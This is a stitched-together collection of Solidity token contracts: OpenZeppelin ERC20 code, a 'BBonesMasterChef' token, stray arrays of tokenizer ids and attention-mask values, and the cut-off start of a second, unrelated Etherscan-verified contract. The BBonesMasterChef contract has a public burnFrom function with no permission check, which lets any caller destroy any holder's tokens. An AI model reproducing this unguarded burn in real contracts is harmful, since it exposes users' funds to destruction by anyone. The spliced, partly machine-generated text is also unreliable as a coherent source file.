* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: BBONES.sol
pragma solidity ^0.8.9;
contract BBonesMasterChef is ERC20 {
uint256 _totalSupply = 5000000;
address _owner;
constructor (string memory name, string memory symbol) ERC20(name, symbol) {
_mint(address(this), _totalSupply);
_owner = msg.sender;
}
function decimals() public view virtual override returns (uint8) {
return 0;
}
function approveFor(address spender, uint256 amount) public virtual returns (bool) {
require(msg.sender == _owner, "You are not owner of BBonesMasterChef");
_approve(address(this), spender, amount);
return true;
}
function burnFrom(address owner, uint256 amount) public {
_burn(owner, amount);
}
}
//
// Developed by https://1block.one
// | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2260,
1011,
2603,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1013,
1013,
1013,
2764,
2011,
16770,
1024,
1013,
1013,
26314,
7878,
1012,
2028,
1013,
1013,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
6123,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
21183,
12146,
1013,
6123,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1015,
1006,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-07-18
*/
/**
██ ██ ██ ██████ ██████ ███████ ███ ██ ██████ ██ ██████ ██████ █████ ██
██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
███████ ██ ██ ██ ██ ██ █████ ██ ██ ██ ██ ███ ██ ██ ██ ██████ ███████ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██████ ██████ ███████ ██ ████ ██████ ███████ ██████ ██████ ██ ██ ███████
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20Metadata is IERC20 {
